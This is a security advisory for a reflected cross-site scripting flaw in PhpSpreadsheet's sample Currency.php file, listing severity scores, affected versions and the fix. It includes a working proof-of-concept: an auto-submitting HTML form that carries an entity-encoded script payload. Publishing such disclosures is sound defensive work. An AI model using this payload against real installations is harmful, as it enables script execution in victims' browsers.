GHSA-j2xg-cjcx-4677HighCVSS 7.1

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Published
January 3, 2025
Last Modified
March 6, 2025

🔗 CVE IDs covered (1)

CVE-2024-56409 →

📋 Description

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

fig9

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

🎯 Affected products5

  • composer/phpoffice/phpspreadsheet:>= 3.0.0, < 3.7.0
  • composer/phpoffice/phpspreadsheet:<= 1.29.6
  • composer/phpoffice/phpspreadsheet:>= 2.0.0, <= 2.1.5
  • composer/phpoffice/phpspreadsheet:>= 2.2.0, <= 2.3.4
  • composer/phpoffice/phpexcel:<= 1.8.2

🔗 References (4)